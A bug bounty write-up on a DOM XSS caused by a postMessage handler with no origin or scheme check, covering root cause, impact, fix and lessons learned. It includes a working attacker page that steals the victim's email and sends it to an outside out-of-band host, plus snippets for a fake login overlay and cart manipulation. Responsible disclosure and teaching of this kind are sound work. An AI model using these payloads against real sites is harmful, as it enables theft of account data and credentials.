My First Bug Bounty: A DOM XSS

Disclosure notice: Scope, program name, and company identity are redacted per responsible disclosure policy. All code samples are either anonymized or reconstructed to illustrate the concept. The vulnerability was reported through a bug bounty platform and has since been remediated.


TL;DR

  • Found a DOM-based XSS in a /apps/returns page of a major e-commerce brand
  • Root cause: window.location.href = event.data.data - no origin check, no scheme validation
  • Attack vector: any cross-origin window holding a reference via window.open() can deliver a javascript: URI
  • Impact: full JavaScript execution in the target origin → session cookies, localStorage, same-origin API calls, account takeover
  • CVSS 9.0
  • Bonus: discovered a CSRF-less address destruction chain while exploring the impact

How it started

I was hunting on a major beauty e-commerce brand running on Shopify. Nothing fancy - just reading the page source, grepping for interesting patterns, looking for that one thing someone forgot to validate.

Then I hit /apps/returns. A Shopify app proxy that embeds a third-party returns portal in an iframe.

The page had an inline <script> block. Three lines. That’s all it took.

“How bad can it be?” - me, about to read a 3-line script. Famous last words.

This is fine


What even is postMessage?

window.postMessage() is the browser’s official way for cross-origin windows to talk to each other. An iframe from api.vendor.example can send messages to its parent on shop.example. Perfectly legitimate, used everywhere.

The full API

The sender calls postMessage with two required arguments:

targetWindow.postMessage(message, targetOrigin);
//                        ^        ^
//                        |        second argument restricts delivery to this origin
//                        any serializable value (string, object, array...)

targetOrigin is a safety net on the sender side. If the parent page has navigated away to a different origin since the iframe loaded, the message will be silently dropped instead of delivered to the wrong party.

// Sender (inside api.vendor.example iframe)
window.parent.postMessage(
  { action: 'onstore:navigate', data: '/account' },
  'https://shop.example'   // only deliver if parent is exactly this origin
);

// Using '*' disables that check — the message goes to whoever is listening
window.parent.postMessage(payload, '*');

The receiver registers an event listener and gets a structured MessageEvent:

window.addEventListener('message', (event) => {
  event.origin  // string  - sender's scheme+host+port, e.g. "https://api.vendor.example"
  event.data    // any     - the message payload (deserialized from structured clone)
  event.source  // Window  - reference back to the sender window (can reply to it)
  event.ports   // array   - transferable MessagePorts (rarely used outside workers)
}, false);

The two-sided security model

Security lives on both sides:

SideMechanismWhat it protects
SendertargetOrigin argumentPrevents delivery to an unexpected receiver origin
Receiverevent.origin checkPrevents processing messages from untrusted senders

Both are required. A sender using '*' leaks the message to any window. A receiver ignoring event.origin trusts every window. The vulnerability here was on the receiver side: the handler never looked at event.origin, so any cross-origin window holding a reference could trigger it.

The rule: always check event.origin on the receiver. If you don’t, any window that holds a reference to yours can send you messages.

sequenceDiagram
    participant L as Legitimate iframe<br/>(api.vendor.example)
    participant V as Vulnerable page<br/>(shop.example/apps/returns)
    participant A as Attacker page<br/>(evil.example)

    L->>V: postMessage({action:'onstore:navigate', data:'/account'})
    Note over V: Normal flow [ok]

    A->>V: postMessage({action:'onstore:navigate', data:'javascript:pwned()'})
    Note over V: No origin check → executes [XSS]

Now the code.


The Vulnerable Code

Here’s the handler I found (anonymized but structurally identical to the original):

window.addEventListener('message', (event) => {
    if (event.data?.action === 'onstore:navigate') {
      window.location.href = event.data.data;  // VULN: no origin check, no scheme check
    }

    if (event.data?.action === 'embedded-app:mobile-lookup-load') { /* ... */ }
    if (event.data?.action === 'embedded-app:mobile-lookup-success') { /* ... */ }
}, false);

That’s it. Designed to let the embedded returns iframe navigate the parent page (e.g., back to /account after completing a return). Makes sense in context.

The missing pieces:

  1. No if (event.origin !== 'https://api.vendor.example') return;
  2. No URL scheme check before assigning to window.location.href

Surprised Pikachu


Sink-to-Source Analysis

Let’s trace the data flow from attacker-controlled input to the sink:

flowchart LR
    SRC["[SOURCE]\nAttacker controls\nevent.data.data\nvia postMessage()"]
    FLOW1["Event Handler\nwindow.addEventListener\n('message', ...)"]
    CHECK["Action check\nevent.data.action ===\n'onstore:navigate'"]
    SINK["[SINK]\nwindow.location.href\n= event.data.data"]
    XSS["[DOM XSS]\njavascript: URI\nexecuted in target origin"]

    SRC -->|"no sanitization\nno type check"| FLOW1
    FLOW1 --> CHECK
    CHECK -->|"passes ✓"| SINK
    SINK -->|"javascript: accepted\nby the browser"| XSS

Here is the same flow annotated directly in the code:

// Source -> Sink trace
// ──────────────────────────────────────────────────────────

// [SOURCE]: input fully controlled by the attacker
//   The attacker called:
//     targetWin.postMessage({
//       action: 'onstore:navigate',
//       data:   'javascript:pwned()'  // their value, not ours
//     }, '*')
//
//   event.origin    = 'https://attacker.evil'  // never checked
//   event.data.data = 'javascript:pwned()'     // never sanitized

window.addEventListener('message', (event) => {

  // [PROPAGATION]: no validation, no transformation
  //   x no event.origin check
  //   x no scheme or type check on event.data.data
  if (event.data?.action === 'onstore:navigate') {

    // [SINK]: untrusted data assigned directly to the browser
    //   window.location.href accepts javascript: URIs
    //   -> executes in the context of the CURRENT page origin
    //   -> here: https://shop.example  (not attacker.evil)
    window.location.href = event.data.data;
    //                      ^
    //             untrusted data, unfiltered,
    //             propagated from source to sink
  }

}, false);

The taint travels from the postMessage call - attacker-controlled - through a single action string comparison, straight into window.location.href. Classic DOM XSS.

Why does javascript: work here?

When a script running in origin A sets window.location.href = 'javascript:code()', the browser executes code() in origin A’s context. This is expected same-origin behavior - the spec allows it. The problem is that the script doing the assignment is running in the target origin (the shop’s page), not the attacker’s origin. The shop’s event handler is the one calling window.location.href = ..., so the javascript: URI inherits its privileges.


The Attack Flow

The attack, step by step:

flowchart TB
    A["1. Attacker hosts evil page\nattacker.evil/pwn.html"]
    B["2. Victim clicks link\n(email, forum post, ad...)"]
    C["3. window.open()\nOpens shop.example/apps/returns\nin a new tab"]
    D["4. Wait ~4s\nPage and postMessage listener load"]
    E["5. targetWin.postMessage({\n  action: 'onstore:navigate',\n  data: 'javascript:...payload...'\n}, '*')"]
    F["6. Vulnerable handler receives message\nNo origin check -> assigns to window.location.href"]
    G["7. javascript: URI executes\nas shop.example"]
    H["8. Attacker JS reads cookies,\nlocalStorage, fetches /account\nwith session creds"]
    I["9. Exfiltrated data sent\nto attacker's server"]

    A --> B --> C --> D --> E --> F --> G --> H --> I

The attacker page looks something like this (simplified):

<script>
  function exploit() {
    const target = window.open('https://shop.example/apps/returns', '_blank');
    setTimeout(() => {
      target.postMessage({
        action: 'onstore:navigate',
        data: 'javascript:(async()=>{' +
          'const r=await fetch("/account",{credentials:"include"});' +
          'const t=await r.text();' +
          'const email=t.match(/[\\w.+-]+@[\\w-]+\\.[\\w.]+/)?.[0];' +
          'new Image().src="https://oob.rodolpheg.xyz/oob?pouet="+encodeURIComponent(email);' +
        '})();void(0)'
      }, '*');
    }, 4000);
  }
</script>
<button onclick="exploit()">Win a gift card</button>

The victim sees a “Win a gift card” button. They click. A new tab opens (the real shop page), and 4 seconds later their session data is on its way to the attacker’s server. The shop tab URL never changes - it still shows https://shop.example/apps/returns.

Hackerman


Impact: It’s Worse Than It Looks

JavaScript execution in the storefront origin opens a lot of doors. Here are the main ones.

1. Session Data Exfiltration

  • Read document.cookie (non-HttpOnly cookies, including session tokens)
  • Read localStorage and sessionStorage (often contains auth tokens, cart state, user prefs)
  • Read IndexedDB (used by some PWA-style storefronts)

2. Account Takeover via Same-Origin Requests

The browser automatically includes session cookies on same-origin fetch() calls. From inside the XSS payload:

// Authenticated fetch - session cookies included automatically
const resp = await fetch('/account/addresses', { credentials: 'include' });
const html = await resp.text();
// Extract name, email, phone, all saved shipping addresses...

No stolen cookies, no token replay - just a fetch that the server thinks is the legitimate user.

3. DOM Injection

The payload can replace the entire page DOM. The URL bar still shows https://shop.example/apps/returns. A fake login form with the shop’s fonts and logo harvests credentials without raising suspicion.

document.body.innerHTML = `
  <div style="...">
    <h2>Your session has expired</h2>
    <input type="email" placeholder="Email">
    <input type="password" placeholder="Password">
    <button onclick="steal(this)">Sign in</button>
  </div>
`;

4. Cart & Order Manipulation

Shopify’s Storefront AJAX API accepts unauthenticated calls to modify cart state. With session context you can also hit the authenticated account endpoints:

// Add a product to victim's cart
await fetch('/cart/add.js', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ id: VARIANT_ID, quantity: 1 }),
  credentials: 'include'
});

The Fix

Here’s the vulnerable handler next to the patched version:

Before (vulnerable):

window.addEventListener('message', (event) => {
    if (event.data?.action === 'onstore:navigate') {
      window.location.href = event.data.data;  // UNSAFE: sink
    }
}, false);

After (fixed):

const ALLOWED_ORIGINS = ['https://api.returnportal.example'];

window.addEventListener('message', (event) => {
    // 1. Validate sender origin
    if (!ALLOWED_ORIGINS.includes(event.origin)) return;

    // 2. Validate data type
    if (typeof event.data?.data !== 'string') return;

    if (event.data.action === 'onstore:navigate') {
        try {
            // 3. Parse and validate URL scheme
            const url = new URL(event.data.data, location.origin);
            if (url.protocol !== 'https:' && url.protocol !== 'http:') return;
            // 4. Optionally restrict to same-origin navigations
            if (url.origin !== location.origin) return;
            window.location.href = url.href;
        } catch { /* invalid URL */ }
    }
}, false);

Three changes:

  1. Origin allowlist - only accept messages from the expected iframe origin
  2. Scheme validation - reject javascript:, data:, blob:, vbscript:, etc.
  3. URL parsing - use new URL() to normalize and inspect before assignment

Worth adding:

  • Add a Content-Security-Policy with script-src (the existing CSP had no script-src directive, so inline scripts were unrestricted)
  • Consider Trusted Types (require-trusted-types-for 'script') to enforce safe DOM sink assignments at the browser level
  • Audit all addEventListener('message', ...) handlers across the theme - they tend to cluster

Timeline

DateEvent
2026-04-05Open redirect via postMessage confirmed
2026-04-05DOM XSS confirmed (javascript: URI → alert() in target origin)
2026-04-13Report submitted via bug bounty platform
2026-04-13Triager acknowledges within hours
(redacted)Vulnerability confirmed by program
(redacted)Fix deployed

Lessons Learned

For hunters:

  • Read inline <script> blocks. They’re often written by theme developers who are not security specialists.
  • window.postMessage handlers without origin checks are a reliable finding. Grep for addEventListener('message' across the entire page source.
  • Don’t stop at the XSS. Map the impact surface: what APIs are available same-origin? What endpoints lack CSRF tokens? The impact chain here almost doubled the CVSS score.

For developers:

  • event.origin is not optional. It’s the security boundary of the postMessage API.
  • Assigning user-controlled data to window.location.href is a DOM XSS sink. Treat it like innerHTML.
  • SameSite=Lax does not protect POST endpoints from XSS. You need CSRF tokens in addition to cookie flags.

References